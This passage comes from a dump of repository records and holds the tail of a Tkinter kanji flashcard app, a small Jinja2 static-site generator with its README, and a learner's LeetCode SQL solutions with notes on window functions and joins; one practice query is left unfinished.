for w in self.card_frame.winfo_children():\n if isinstance(w, Tk.Frame):\n w.destroy()\n idx, key = (i, self.default_dict_name) if isinstance(i, (float, int)) else i\n self.last_word_card = WordCard(self.dict_data[key][idx], self, self.card_frame, bg='black')\n self.last_word_card.turn(0)\n\n def show_kanji(self, c):\n if c not in self.kanji:\n browse_kanji(c)\n return\n\n i = self.kanji.index(c)\n\n if self.kanji_frame is None:\n self.kanji_frame = Tk.Toplevel(self, bg='black')\n self.kanji_frame.geometry('+400+0')\n self.kanji_frame.protocol(\"WM_DELETE_WINDOW\", self.kanji_frame_closed)\n\n for w in self.kanji_frame.winfo_children():\n if isinstance(w, Tk.Frame):\n w.destroy()\n\n self.last_kanji_card = KanjiCard(self.kanji_data[i], self, self.kanji_frame, bg='black')\n self.last_kanji_card.turn(0)\n \n def kanji_frame_closed(self):\n self.kanji_frame.destroy()\n self.kanji_frame = None\n\n def show_kanji_list(self, kanji_list, **format):\n if self.kanji_list_frame is None:\n self.kanji_list_frame = Tk.Toplevel(self, bg='black')\n self.kanji_list_frame.geometry('+100+400')\n self.kanji_list_frame.protocol(\"WM_DELETE_WINDOW\", self.kanji_list_frame_closed)\n\n for w in self.kanji_list_frame.winfo_children():\n if isinstance(w, Tk.Widget):\n w.destroy()\n\n format = {'fg': 'white',\n 'bg': 'black'}\n\n for i, c in enumerate(kanji_list):\n l = Tk.Label(self.kanji_list_frame, text=c, font=(\"Lucida Grande\", 60), **format)\n l.bind(\"<Button-1>\", lambda event, c=c: self.show_kanji(c))\n l.grid(row=0, column=i)\n\n def kanji_list_frame_closed(self):\n self.kanji_list_frame.destroy()\n self.kanji_list_frame = None\n\n def kanjis_with_kun(self, c):\n k_list = []\n for d in self.kanji_data:\n kuns = sep_string(d['kun'])\n if c in kuns:\n k_list.append(d['kanji'])\n self.show_kanji_list(k_list)\n \n def kanjis_with_on(self, c):\n k_list = []\n for d in self.kanji_data:\n ons = sep_string(d['on'])\n if c in ons:\n k_list.append(d['kanji'])\n self.show_kanji_list(k_list)\n\n def show_word_list(self, word_index_list, **format):\n if self.word_list_frame is None:\n self.word_list_frame = Tk.Toplevel(self, bg='black')\n self.word_list_frame.geometry('+100+400')\n self.word_list_frame.protocol(\"WM_DELETE_WINDOW\", self.word_list_frame_closed)\n\n for w in self.word_list_frame.winfo_children():\n if isinstance(w, Tk.Widget):\n w.destroy()\n\n format = {'fg': 'white',\n 'bg': 'black'}\n\n for i, index in enumerate(word_index_list):\n idx, key = (index, self.default_dict_name) if isinstance(index, (float, int)) else index\n l = Tk.Label(self.word_list_frame, text=self.dict_data[key][idx]['word'], font=(\"Lucida Grande\", 40), **format)\n l.bind(\"<Button-1>\", lambda event, index=index: self.show_next(index))\n l.grid(row=0, column=i)\n\n def word_list_frame_closed(self):\n self.word_list_frame.destroy()\n self.word_list_frame = None\n\n def words_from_kanji(self, c):\n word_index_list = []\n for key in self.dict_data.keys():\n for i, d in enumerate(self.dict_data[key]):\n if c in d['word']:\n word_index_list.append((i, key))\n self.show_word_list(word_index_list)\n \n\n\nif __name__=='__main__':\n# url = \"http://docs.python.org/library/webbrowser.html\"\n# webbrowser.open(url,new=2)\n import os\n os.environ['PATH'] += ':/usr/local/bin'\n dicts, kanji = read_words_and_kanji('japdic.xlsx')\n a = App(dicts, kanji, default_dict_name='mimi', bg=\"black\")\n a.master.title('Kanji')\n a.mainloop()\n" } ]
2
tiffhens/webscraping_henschel
https://github.com/tiffhens/webscraping_henschel
7996c3e4a19c8e8a8aea178463d51f24f1168bb4
632aba96ed9f4bd2c89b1c04edf4880cce6e81e5
84d97e0eb711e45e99c7e7bb52e909391ebe02d1
refs/heads/master
2021-01-01T04:26:59.550832
2016-04-15T22:48:17
2016-04-15T22:48:17
56,353,400
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.8260869383811951, "alphanum_fraction": 0.8260869383811951, "avg_line_length": 22, "blob_id": "f69bf08436fa516736482e0f88f9638921963ca6", "content_id": "57369e3bc229fc52741accb654998138598c478e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 23, "license_type": "no_license", "max_line_length": 22, "num_lines": 1, "path": "/README.md", "repo_name": "tiffhens/webscraping_henschel", "src_encoding": "UTF-8", "text": "# webscraping-henschel\n" }, { "alpha_fraction": 0.7291737198829651, "alphanum_fraction": 0.753119707107544, "avg_line_length": 35.17073059082031, "blob_id": "ced77263d880ad15565157eb8c693d5a56f9219f", "content_id": "a13ed741d1d0d1e025cb8086d4be499378d99766", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2965, "license_type": "no_license", "max_line_length": 170, "num_lines": 82, "path": "/leafly.py", "repo_name": "tiffhens/webscraping_henschel", "src_encoding": "UTF-8", "text": "from bs4 import BeautifulSoup\nimport requests\nimport random\n\n# Open and read the template file\nfo = open(\"template_scrape.html\", \"r\")\nhtml_template = fo.read();\nfo.close()\n\n# get the webpage\nr=requests.get(\"http://www.collective-evolution.com/2012/12/05/how-hemp-became-illegal-the-marijuana-link/\")\n\n# get the HTML source from that page\nhtml_doc = r.text\n\n# turn the source into a bs4 \"soup\" object\nsoup = BeautifulSoup(html_doc,\"html.parser\")\n\nhistory_section = soup.find(\"div\", class_=\"post-single-body clearfix margin-t20\")\nhistory_paragraph = history_section.find_all(\"p\")\n\nhistory_words1 = history_paragraph[11].get_text()\nhistory_words2 = history_paragraph[12].get_text()\nhistory_words3 = history_paragraph[13].get_text()\n\nhistory_output1 = BeautifulSoup(history_words1).prettify (formatter='html')\nhistory_output2 = BeautifulSoup(history_words2).prettify (formatter='html')\nhistory_output3 = BeautifulSoup(history_words3).prettify (formatter='html')\n\nprint(history_output1, history_output2, history_output3)\n\n\t\n# history_output = BeautifulSoup(history_words).prettify (formatter='html')\n\nr=requests.get(\"https://www.leafly.com/news/headlines/hemp-vs-cotton-3-reasons-why-cotton-is-not-king\")\n\n# get the HTML source from that page\nhtml_doc = r.text\n\n# turn the source into a bs4 \"soup\" object\nsoup = BeautifulSoup(html_doc,\"html.parser\")\n\n# narrow down to the div on the page that contains our content\nleafly_section = soup.find(\"div\", class_=\"news__article-body\")\nleafly_paragraph = leafly_section.find_all(\"p\")\n\nleafly_words1 = leafly_paragraph[5].get_text()\nleafly_words2 = leafly_paragraph[10].get_text()\nleafly_words3 = leafly_paragraph[11].get_text()\n\nleafly_output1 = BeautifulSoup(leafly_words1).prettify (formatter='html')\nleafly_output2 = BeautifulSoup(leafly_words2).prettify (formatter='html')\nleafly_output3 = BeautifulSoup(leafly_words3).prettify (formatter='html')\n\nr=requests.get(\"https://www.leafly.com/news/cannabis-101/whats-the-deal-with-these-high-cbd-strains\")\n\n# get the HTML source from that page\nhtml_doc = r.text\n\n# turn the source into a bs4 \"soup\" object\nsoup = BeautifulSoup(html_doc,\"html.parser\")\n\n# narrow down to the div on the page that contains our content\ncbd_section = soup.find(\"div\", class_=\"news__article-body\")\ncbd_paragraph = cbd_section.find_all(\"p\")\n\ncbd_words1 = cbd_paragraph[2].get_text()\ncbd_words2 = cbd_paragraph[4].get_text()\ncbd_words3 = cbd_paragraph[5].get_text()\n\ncbd_output1 = BeautifulSoup(cbd_words1).prettify (formatter='html')\ncbd_output2 = BeautifulSoup(cbd_words2).prettify (formatter='html')\ncbd_output3 = BeautifulSoup(cbd_words3).prettify (formatter='html')\n\n\n# create the complete HTML page to display in a certain order.\nhtml_file = html_template.format(history_output1, history_output2, history_output3, leafly_output1, leafly_output2, leafly_output3, cbd_output1, cbd_output2, cbd_output3)\n\n# write out the html file\nfo = open(\"sentence_scrape.html\", \"w\")\nfo.write( html_file );\nfo.close()" } ]
2
lukaslaobeyer/render
https://github.com/lukaslaobeyer/render
97179527463d3b97cff64eb1fd2e9e862baea2dd
f74ba1e34a713df83c391f501baf043816a7625a
0e251cfddb95de6528820f734208ebf24212aab6
refs/heads/master
2020-03-29T00:51:01.226426
2017-06-17T16:53:46
2017-06-17T16:53:46
94,637,161
1
0
null
null
null
null
null
[ { "alpha_fraction": 0.6755852699279785, "alphanum_fraction": 0.6794871687889099, "avg_line_length": 28.409835815429688, "blob_id": "dcaaf6b4302f14d910043f122f67f84007a0e711", "content_id": "79542181eddc0bc241864ab57be8647aee482678", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1794, "license_type": "no_license", "max_line_length": 71, "num_lines": 61, "path": "/render.py", "repo_name": "lukaslaobeyer/render", "src_encoding": "UTF-8", "text": "#!/usr/bin/python3\n\nimport os\nimport sys\nimport pathlib\nimport shutil\nfrom jinja2 import Environment, FileSystemLoader, select_autoescape\n\nTEMPLATE_DIRS = ['src/templates']\nTEMPLATE_EXTS = ['html', 'jinja2', 'tmpl']\nSTATIC_DIRS = ['src/static']\nOUTPUT_DIR = 'build'\n\ndef ensure_dir(filename):\n dirname = os.path.dirname(filename)\n # Create subdirectory for file if not exists\n if not os.path.exists(dirname):\n os.makedirs(dirname)\n\n\n# Set up Jinja2 environment\nenv = Environment(\n loader=FileSystemLoader(TEMPLATE_DIRS),\n autoescape=select_autoescape(['html', 'xml'])\n)\n\n# Create output directory\noutput_dir = str(pathlib.Path(OUTPUT_DIR).absolute())\n\nif not os.path.exists(output_dir):\n os.makedirs(output_dir)\n print('writing output to \"{}\"'.format(output_dir))\nelse:\n print('build directory (\"{}\") already exists'.format(output_dir))\n print('please remove this directory and try again')\n sys.exit(-1)\n\n# Copy static files\nprint('copying static files')\nfor static_dir in STATIC_DIRS:\n for filename in pathlib.Path(static_dir).glob('**/*'):\n if filename.is_file():\n stripped = str(filename)[len(static_dir)+1:]\n print(' copying {}...'.format(stripped))\n dest = os.path.join(output_dir, stripped)\n ensure_dir(dest)\n shutil.copy2(str(filename), dest)\n\n# Render all templates\nprint('rendering templates')\ntemplates = env.list_templates(extensions=TEMPLATE_EXTS)\nfor template_name in templates:\n print(' rendering {}...'.format(template_name))\n filename = os.path.join(output_dir, template_name)\n ensure_dir(filename)\n\n # Render template and write to file\n with open(filename, 'w') as f:\n f.write(env.get_template(template_name).render(tree=templates))\n \nprint('done!')\n" }, { "alpha_fraction": 0.7660199999809265, "alphanum_fraction": 0.7713109850883484, "avg_line_length": 50.54545593261719, "blob_id": "cb08a7937a6a8ee5561fbb8db1d7f873fb38ba59", "content_id": "56686f476dfe117c80dee0f60685fd6365e7248c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 1701, "license_type": "no_license", "max_line_length": 399, "num_lines": 33, "path": "/README.md", "repo_name": "lukaslaobeyer/render", "src_encoding": "UTF-8", "text": "# The simplest static site generator\n\nLess that 100 lines of Python that will take your [Jinja2](http://jinja.pocoo.org/) templates and build them into a static site.\n\n## Why?\n\nThere already are [lots](https://www.staticgen.com/) of static site generators. However, I found most of them to be overkill for the small sites I need to make from time to time. Also, most of them impose too much structure on your project and require lots of configuration. Some even try to be your website and include lots of fanciness that is simply unnecessary when you are writing a small site.\n\n## How to build your site\n\nThe only structure this script requires your project to have is as following:\n\n * Place `render.py` in your project's root directory\n * Create `src/templates` and `src/static` directories\n * When you run `render.py`, the output will be in `build`\n\n### Templates\n\nJinja2 templates should be placed in `src/templates`. Any `.html`, `.jinja2` or `.tmpl` file in `src/templates` will go through the Jinja2 processor.\n\nProcessed files will be copied into `build`, preserving the structure of your `src/templates` directory.\n\n### Static assets\n\nAnything you don't want to be preprocessed by Jinja2 should go in `src/static`.\n\nThese files will be copied straight into the `build` directory, preserving directory structure.\n\n## Extra features\n\nThis script basically just runs all your templates through Jinja2, it doesn't really do anything special besides that. However, all your templates will be passed a `tree` variable that contains all the names of all the files in your `templates` directory.\n\nThis can be used to dynamically generate indices and read variables from other templates, for example.\n" } ]
2
GuilinXie/LeetcodeSQL
https://github.com/GuilinXie/LeetcodeSQL
2dde9c9af92051b0ab63325d9c99ec9af4fde85b
8e7347b2b35406ac799b02a9ee53b09ac91eb7d0
599f94f66c7632d71aa631d08e996344afa3a52d
refs/heads/master
2021-12-23T14:50:37.688799
2021-08-30T18:18:03
2021-08-30T18:18:03
253,012,461
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.7045044898986816, "alphanum_fraction": 0.7297297120094299, "avg_line_length": 20.384614944458008, "blob_id": "f2af97b5c601b374cf4cda1d877afa7c37fc27a5", "content_id": "d338e3149af29a43da57425ca82c57cbfcb024c0", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 555, "license_type": "no_license", "max_line_length": 51, "num_lines": 26, "path": "/SQL/1341_Movie_Rating.py", "repo_name": "GuilinXie/LeetcodeSQL", "src_encoding": "UTF-8", "text": "# Write your MySQL query statement below\n\nSELECT t1.name AS results\nFROM\n(SELECT u.name AS name, COUNT(m.movie_id) AS cnt\nFROM Movie_Rating m\nJOIN Users u\nON u.user_id = m.user_id\nGROUP BY m.user_id\nORDER BY cnt DESC, u.name\nLIMIT 1) t1\n\nUNION\nSELECT t2.title AS results\nFROM\n(SELECT m.title AS title, AVG(mr.rating) as grade\n FROM Movie_Rating mr\n JOIN Movies m\n ON m.movie_id=mr.movie_id\n WHERE substring(mr.created_at,1,7)=\"2020-02\"\n GROUP BY mr.movie_id\n ORDER BY grade DESC, m.title\n LIMIT 1\n ) t2\n\n#AVG(mr.rating) = SUM(mr.rating) / COUNT(mr.rating)" }, { "alpha_fraction": 0.70652174949646, "alphanum_fraction": 0.7572463750839233, "avg_line_length": 33.625, "blob_id": "87444ec5ea5a9ba74be91842f5c7e780df890ab3", "content_id": "2b7049a14883ad601247da3ba5bfbd68ef1c2182", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 276, "license_type": "no_license", "max_line_length": 90, "num_lines": 8, "path": "/SQL/1142_User_Activity_for_the_Past_30_Days_2.py", "repo_name": "GuilinXie/LeetcodeSQL", "src_encoding": "UTF-8", "text": "# Write your MySQL query statement below\n\nSELECT IFNULL(ROUND(SUM(sessions) / COUNT(user_id), 2), 0.00) AS average_sessions_per_user\nFROM\n(SELECT user_id, COUNT(DISTINCT session_id) AS sessions\nFROM Activity\nWHERE DATEDIFF(\"2019-07-27\", activity_date) < 30\nGROUP BY user_id) t" }, { "alpha_fraction": 0.7559704780578613, "alphanum_fraction": 0.7568389177322388, "avg_line_length": 42.45283126831055, "blob_id": "7e54d9231a05bb230ef2a3b82d63a78254abc627", "content_id": "5e0bf5db7bd54ed43ea02ed43799fbb91968a53f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2303, "license_type": "no_license", "max_line_length": 69, "num_lines": 53, "path": "/SQL/1179_Reformat_Department_Table.py", "repo_name": "GuilinXie/LeetcodeSQL", "src_encoding": "UTF-8", "text": "# Write your MySQL query statement below\n\n# How to use pivot table directly in mysql?\n\n# Solution 1 - only beat 5%\n\nSELECT t.id,\nSUM(CASE WHEN month=\"Jan\" THEN revenue ELSE NULL END) AS Jan_Revenue,\nSUM(CASE WHEN month=\"Feb\" THEN revenue ELSE NULL END) AS Feb_Revenue,\nSUM(CASE WHEN month=\"Mar\" THEN revenue ELSE NULL END) AS Mar_Revenue,\nSUM(CASE WHEN month=\"Apr\" THEN revenue ELSE NULL END) AS Apr_Revenue,\nSUM(CASE WHEN month=\"May\" THEN revenue ELSE NULL END) AS May_Revenue,\nSUM(CASE WHEN month=\"Jun\" THEN revenue ELSE NULL END) AS Jun_Revenue,\nSUM(CASE WHEN month=\"Jul\" THEN revenue ELSE NULL END) AS Jul_Revenue,\nSUM(CASE WHEN month=\"Aug\" THEN revenue ELSE NULL END) AS Aug_Revenue,\nSUM(CASE WHEN month=\"Sep\" THEN revenue ELSE NULL END) AS Sep_Revenue,\nSUM(CASE WHEN month=\"Oct\" THEN revenue ELSE NULL END) AS Oct_Revenue,\nSUM(CASE WHEN month=\"Nov\" THEN revenue ELSE NULL END) AS Nov_Revenue,\nSUM(CASE WHEN month=\"Dec\" THEN revenue ELSE NULL END) AS Dec_Revenue\nFROM Department t\nGROUP BY t.id\n\n\n# Solution, similar to the previous one\nSELECT t.id,\nSUM(t.Jan_Revenue) AS Jan_Revenue,\nSUM(t.Feb_Revenue) AS Feb_Revenue,\nSUM(t.Mar_Revenue) AS Mar_Revenue,\nSUM(t.Apr_Revenue) AS Apr_Revenue,\nSUM(t.May_Revenue) AS May_Revenue,\nSUM(t.Jun_Revenue) AS Jun_Revenue,\nSUM(t.Jul_Revenue) AS Jul_Revenue,\nSUM(t.Aug_Revenue) AS Aug_Revenue,\nSUM(t.Sep_Revenue) AS Sep_Revenue,\nSUM(t.Oct_Revenue) AS Oct_Revenue,\nSUM(t.Nov_Revenue) AS Nov_Revenue,\nSUM(t.Dec_Revenue) AS Dec_Revenue\nFROM\n(SELECT id,\nCASE WHEN month=\"Jan\" THEN revenue ELSE NULL END AS Jan_Revenue,\nCASE WHEN month=\"Feb\" THEN revenue ELSE NULL END AS Feb_Revenue,\nCASE WHEN month=\"Mar\" THEN revenue ELSE NULL END AS Mar_Revenue,\nCASE WHEN month=\"Apr\" THEN revenue ELSE NULL END AS Apr_Revenue,\nCASE WHEN month=\"May\" THEN revenue ELSE NULL END AS May_Revenue,\nCASE WHEN month=\"Jun\" THEN revenue ELSE NULL END AS Jun_Revenue,\nCASE WHEN month=\"Jul\" THEN revenue ELSE NULL END AS Jul_Revenue,\nCASE WHEN month=\"Aug\" THEN revenue ELSE NULL END AS Aug_Revenue,\nCASE WHEN month=\"Sep\" THEN revenue ELSE NULL END AS Sep_Revenue,\nCASE WHEN month=\"Oct\" THEN revenue ELSE NULL END AS Oct_Revenue,\nCASE WHEN month=\"Nov\" THEN revenue ELSE NULL END AS Nov_Revenue,\nCASE WHEN month=\"Dec\" THEN revenue ELSE NULL END AS Dec_Revenue\nFROM Department) t\nGROUP BY t.id\n" }, { "alpha_fraction": 0.49707603454589844, "alphanum_fraction": 0.5555555820465088, "avg_line_length": 27.5, "blob_id": "aea7340b1ef60773d65ad05cb0212594490ca7db", "content_id": "9f44b4e30efe1b1ab6d05249aae632df025241f8", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 171, "license_type": "no_license", "max_line_length": 46, "num_lines": 6, "path": "/SQL/626_Exchange_Seats.py", "repo_name": "GuilinXie/LeetcodeSQL", "src_encoding": "UTF-8", "text": "# Solution 1 - beat 50%\nSELECT IF(id<(SELECT COUNT(*) FROM seat), \n IF(id%2=0, id-1, id+1), \n IF(id%2=0, id-1, id)) AS id, student\nFROM seat\nORDER BY id\n" }, { "alpha_fraction": 0.7586206793785095, "alphanum_fraction": 0.7758620977401733, "avg_line_length": 13.5, "blob_id": "ede1bb739614035bae544cac0359b6b16f158968", "content_id": "32f1480fbb24f6c19e668d1c35c2a098d7a18de3", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 58, "license_type": "no_license", "max_line_length": 17, "num_lines": 4, "path": "/SQL/182_Duplicate_Emails.py", "repo_name": "GuilinXie/LeetcodeSQL", "src_encoding": "UTF-8", "text": "SELECT Email\nFROM Person\nGROUP BY Email\nHAVING COUNT(*)>1\n" }, { "alpha_fraction": 0.47880297899246216, "alphanum_fraction": 0.5012468695640564, "avg_line_length": 22.58823585510254, "blob_id": "2bb8dbee9a7e02ba527449b1ebe80b8908b92b90", "content_id": "d7b30c97cb9103223870cae2dc91fc2bcdb55961", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 401, "license_type": "no_license", "max_line_length": 47, "num_lines": 17, "path": "/SQL/196_Delete_Duplicate_Emails.py", "repo_name": "GuilinXie/LeetcodeSQL", "src_encoding": "UTF-8", "text": "# Write your MySQL query statement below\n# Solution 1\nDELETE p1\nFROM Person p1, Person p2\nWHERE p1.Email = p2.Email\nAND p1.Id > p2.Id\n\n#Solution 2:\ndelete from Person\nwhere id not in (\n select id \n from\n (select min(id) as Id,Email\n from Person\n group by Email\n order by Id) i\n )\n" }, { "alpha_fraction": 0.6951871514320374, "alphanum_fraction": 0.7326202988624573, "avg_line_length": 30.16666603088379, "blob_id": "77d1a09ff3f0ff951e08ec5b2831a02fe9eb22e6", "content_id": "eb4b7723b06bcd9fa16e49a4b3480085c6ac0b71", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 374, "license_type": "no_license", "max_line_length": 63, "num_lines": 12, "path": "/SQL/178_Rank_Scores.py", "repo_name": "GuilinXie/LeetcodeSQL", "src_encoding": "UTF-8", "text": "# Write your MySQL query statement below\n\n# Method 1 - beat 10%, sometimes 70% - DENSE_RANK()\nSELECT Score, DENSE_RANK() OVER (ORDER BY Score DESC) AS \"Rank\"\nFROM Scores\n\n# Method 2 - too complicate to remember....\nSELECT s1.Score, COUNT(s2.Score) AS Rank\nFROM Scores s1, (SELECT DISTINCT Score FROM Scores) s2\nWHERE s1.Score<=s2.Score\nGROUP BY s1.Id\nORDER BY s1.Score DESC\n" }, { "alpha_fraction": 0.7153094410896301, "alphanum_fraction": 0.7381107211112976, "avg_line_length": 35.5476188659668, "blob_id": "843c24c558b83629bae5a8b5685a644f8236887a", "content_id": "1536614db704400ba1dc4999023c28e9ee261db0", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1535, "license_type": "no_license", "max_line_length": 179, "num_lines": 42, "path": "/SQL/185_Department_Top_Three_Salaries.py", "repo_name": "GuilinXie/LeetcodeSQL", "src_encoding": "UTF-8", "text": "# Write your MySQL query statement below\n\n# Solution 0 - window function - easier to understand\n# beat 61%\nSELECT t.Department, t.Employee, t.Salary\nFROM \n(SELECT d.Name AS Department, e.Name AS Employee, e.Salary AS Salary, DENSE_RANK() OVER(PARTITION BY e.DepartmentId ORDER BY e.Salary DESC) AS rk\nFROM Employee e\nINNER JOIN Department d # inner join means if the departmentId is not find, then drop this rows, if use LEFT JOIN, then will keep it with DepartmentId and DepartmentName as NULL\nON e.DepartmentId=d.Id) t\nWHERE t.rk <= 3\n\n# Solution 0_1, - window function, - but use inner/left join to reduce one layer\n# beat (22% or) 5%\nSELECT d.Name AS Department, e.Name as Employee, e.Salary as Salary\nFROM (\nSELECT DepartmentId, Name, Salary, DENSE_RANK() OVER(PARTITION BY DepartmentId ORDER BY Salary DESC) AS rk\nFROM Employee) e\n(INNER or) LEFT JOIN Department d\nON e.DepartmentI\n\n\n# Solution 1 - Record my own, beat 98%\nSELECT d.Name AS Department, e1.Name AS Employee, e1.Salary\nFROM Employee e1\nJOIN Department d ON e1.DepartmentId = d.Id\n\nWHERE 3 >= (SELECT COUNT(e2.Salary) FROM\n (SELECT DISTINCT DepartmentId, Salary FROM Employee) e2\n WHERE e1.Salary <= e2.Salary AND e2.DepartmentId = e1.DepartmentId\n )\n\n\n# Solution 2 - from others\nSELECT d.name AS Department, e1.Name AS Employee, e1.Salary\nFROM Employee e1, Department d\nWHERE e1.DepartmentId = d.Id\nAND (SELECT COUNT(DISTINCT e2.Salary)\n FROM Employee e2\n WHERE e2.DepartmentId = e1.DepartmentId\n AND e2.Salary > e1.Salary\n ) < 3\n" }, { "alpha_fraction": 0.6915000081062317, "alphanum_fraction": 0.7179999947547913, "avg_line_length": 27.16901397705078, "blob_id": "4d78b4ced4f142a10c6d791e8fc1b79b4c29924a", "content_id": "f71410f7f903692b0a90a9d11182eef498805255", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2000, "license_type": "no_license", "max_line_length": 158, "num_lines": 71, "path": "/SQL/1212_Team_Scores_in_Football_Tournament.py", "repo_name": "GuilinXie/LeetcodeSQL", "src_encoding": "UTF-8", "text": "# Write your MySQL query statement below\n\n#Method 0 - beat 20% - IFNULL(SUM(..), 0) - if SUM(..) is NULL, then set it to be 0. (Note: SUM could be in IFNULL function)\nSELECT t.team_id, t.team_name, IFNULL(SUM(s.score), 0) AS num_points\nFROM Teams t\n\nLEFT JOIN\n(SELECT m1.host_team AS team,\n CASE WHEN host_goals>guest_goals THEN 3\n WHEN host_goals=guest_goals THEN 1\n ELSE 0 END AS score\nFROM Matches m1\n\nUNION ALL\n\nSELECT m2.guest_team AS team,\n CASE WHEN guest_goals>host_goals THEN 3\n WHEN guest_goals=host_goals THEN 1\n ELSE 0 END AS score\nFROM Matches m2) s\n\nON t.team_id=s.team\nGROUP BY t.team_id, t.team_name\nORDER BY num_points DESC, t.team_id\n\n\n# Method 1 - Use SUM + CASE WHEN to deal with NULL,\n# ELSE 0 END must be at the end, not ELSE 1 END\nSELECT t1.team_id, t1.team_name, SUM(CASE WHEN t2.my_goal>t2.op_goal THEN 3 WHEN t2.my_goal=t2.op_goal THEN 1 ELSE 0 END) AS num_points\n\nFROM Teams t1\n\nLEFT JOIN\n\n(SELECT host_team as id, host_goals as my_goal, guest_goals as op_goal\nFROM Matches\n\nUNION ALL\n\nSELECT guest_team as id, guest_goals as my_goal, host_goals as op_goal\nFROM Matches) t2\n\nON t1.team_id=t2.id\n\nGROUP BY t1.team_id, t1.team_name\nORDER BY num_points DESC, t1.team_id ASC\n\n\n# Method 2 - IFNULL deal with NULL, SUM should be at the inner level, not in IFULL: (Note: As proved later, SUM can be in inner level of IFNULL, see Method 0)\n# function\n# IFNULL could not use SUM inside directly\nSELECT t.team_id, t.team_name, IFNULL(t.num_points, 0) AS num_points\nFROM\n(SELECT t1.team_id, t1.team_name, SUM(t2.point) AS num_points\n\nFROM Teams t1\n\nLEFT JOIN\n\n((SELECT host_team AS tid, CASE WHEN host_goals>guest_goals THEN 3 WHEN host_goals<guest_goals THEN 0 ELSE 1 END AS point\nFROM Matches)\n\nUNION ALL\n\n(SELECT guest_team AS tid, CASE WHEN host_goals>guest_goals THEN 0 WHEN host_goals<guest_goals THEN 3 ELSE 1 END AS point\nFROM Matches)) t2\nON t2.tid=t1.team_id\n\nGROUP BY t1.team_id, t1.team_name\n) t\nORDER BY num_points DESC, t.team_id ASC\n" }, { "alpha_fraction": 0.6651326417922974, "alphanum_fraction": 0.7026258707046509, "avg_line_length": 159.56521606445312, "blob_id": "ee3cd4a0323e9a1d4782783ffa94b9e13bd70417", "content_id": "fcf329013a6dbfc717094f4ab380878339403638", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 7388, "license_type": "no_license", "max_line_length": 359, "num_lines": 46, "path": "/README.md", "repo_name": "GuilinXie/LeetcodeSQL", "src_encoding": "UTF-8", "text": "### LeetcodeSQL\n\nAccording to frequency\n\n| ID | Title | Solution | Difficulty | Knowledge |\n| ---- | ------------------------------------------------------------ | ------------------------------------------------------------ | ---------- | ---- |\n| 176 | [Second Highest Salary](https://leetcode.com/problems/second-highest-salary/) | [SQL](https://github.com/GuilinXie/LeetcodeSQL/blob/master/SQL/176_Sencond_Highest_Salary.py) | Easy | if not exist, return NULL |\n| 175 | [Combine Two Tables](https://leetcode.com/problems/combine-two-tables/) | [SQL](https://github.com/GuilinXie/LeetcodeSQL/blob/master/SQL/175_Combine_Two_Tables.py) | Easy | select sub-table before join |\n| 177 | [Nth Highest Salary](https://leetcode.com/problems/nth-highest-salary/) | [SQL](https://github.com/GuilinXie/LeetcodeSQL/blob/master/SQL/177_Nth_Highest_Salary.py) | Medium | CREATE FUNCTION, SET, MAX COUNT , LIMIT N,1 equals to LIMIT 1 OFFSET N |\n| 262 | [Trips and Users](https://leetcode.com/problems/trips-and-users/) | [SQL](https://github.com/GuilinXie/LeetcodeSQL/blob/master/SQL/262_Trips_and_Users.py) | Hard | CASE WHEN at inner loop, then SUM GROUP BY, ROUND, new name \"Cancellation Rate\" with a space, t.Request_at BETWEEN '2013-10-01' AND '2013-10-03' includes [2013-10-01, 2013-10-03] |\n| 181 | [Employees Earning More Than Their Managers](https://leetcode.com/problems/employees-earning-more-than-their-managers/) | [SQL](https://github.com/GuilinXie/LeetcodeSQL/blob/master/SQL/181_Employees_Earning_More_Than_Their_Managers.py) | Easy | tmp_table is faster than using entire table |\n| 178 | [Rank Scores](https://leetcode.com/problems/rank-scores/) | [SQL](https://github.com/GuilinXie/LeetcodeSQL/blob/master/SQL/178_Rank_Scores.py) | Medium | Rank consecutively, what if not consecutively, what if same score rank differently? |\n| 1179 | [Reformat Department Table](https://leetcode.com/problems/reformat-department-table/) | [SQL](https://github.com/GuilinXie/LeetcodeSQL/blob/master/SQL/1179_Reformat_Department_Table.py) | Easy | CASE WHEN change column to differnt rows , PIVOT how? |\n| 180 | [Consecutive Numbers](https://leetcode.com/problems/consecutive-numbers/) | [SQL](https://github.com/GuilinXie/LeetcodeSQL/blob/master/SQL/180_Consecutive_Numbers.py) | Medium | Consecutive implement |\n| 182 | [Duplicate Emails](https://leetcode.com/problems/duplicate-emails/) | [SQL](https://github.com/GuilinXie/LeetcodeSQL/blob/master/SQL/182_Duplicate_Emails.py) | Easy | GROUP BY, HAVING COUNT(*)>1 |\n| 1212 | [Team Scores in Football Tournament](https://leetcode.com/problems/team-scores-in-football-tournament/) | [SQL](https://github.com/GuilinXie/LeetcodeSQL/blob/master/SQL/1212_Team_Scores_in_Football_Tournament.py) | Medium | IFNULL(name, 0), ~~SUM() can not be in IFNULL function~~(IT CAN!), UNION ALL |\n| 185 | [Department Top Three Salaries](https://leetcode.com/problems/department-top-three-salaries/) | [SQL](https://github.com/GuilinXie/LeetcodeSQL/blob/master/SQL/185_Department_Top_Three_Salaries.py) | Hard | Top3 for different departments, window function: DENSE_RANK(PARTITION BY * ORDER BY * DESC) AS rk...WHERE rk <= 3 |\n| 184 | [Department Highest Salary](https://leetcode.com/problems/department-highest-salary/) | [SQL](https://github.com/GuilinXie/LeetcodeSQL/blob/master/SQL/184_Department_Highest_Salary.py) | Medium | Can use same method as 185, or use (MAX(Salary), DepartmentId) to 